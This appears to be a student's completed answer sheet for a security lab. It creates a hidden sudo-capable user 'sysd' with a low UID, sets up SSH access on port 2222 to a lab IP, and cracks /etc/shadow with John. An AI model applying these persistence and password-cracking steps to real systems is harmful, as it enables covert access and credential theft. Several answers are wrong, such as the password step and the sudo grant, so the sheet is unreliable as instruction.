Step 1: Shadow People

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:
   - `Your solution command here` **adduser --no-create-home sysd**

2. Give your secret user a password:
   - `Your solution command here` **passw0rd**

3. Give your secret user a system UID < 1000:
   - `Your solution command here' **usermod sysd -u 1330**

4. Give your secret user the same GID:
   - `Your solution command here` **groupmod sysd -g 1330**

5. Give your secret user full `sudo` access without the need for a password:
   - `Your solution command here` **usermod -aG vagrant sysd**

6. Test that `sudo` access works without your password:

   ```bash
   Your bash commands here sudo -l
   ```

Step 2: Smooth Sailing

1. Edit the `sshd_config` file:

   ```bash
   Your bash commands here nano /etc/ssh/sshd_config
   ```

Step 3: Testing Your Configuration Update
1. Restart the SSH service:
   - `Your solution command here` **systemctl restart sshd**

2. Exit the `root` account:
   - `Your solution command here` **exit**

3. SSH to the target machine using your `sysd` account and port `2222`:
   - `Your solution command here` **ssh sysd@192.168.6.105 -p 2222**

4. Use `sudo` to switch to the root user:
   - `Your solution command here` **sudo su**

Step 4: Crack All the Passwords

1. SSH back to the system using your `sysd` account and port `2222`:

   - `Your solution command here`**ssh sysd@192.168.6.105 -p 2222**

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:

   - `Your solution command here` **sudo su**

                              john /etc/shadow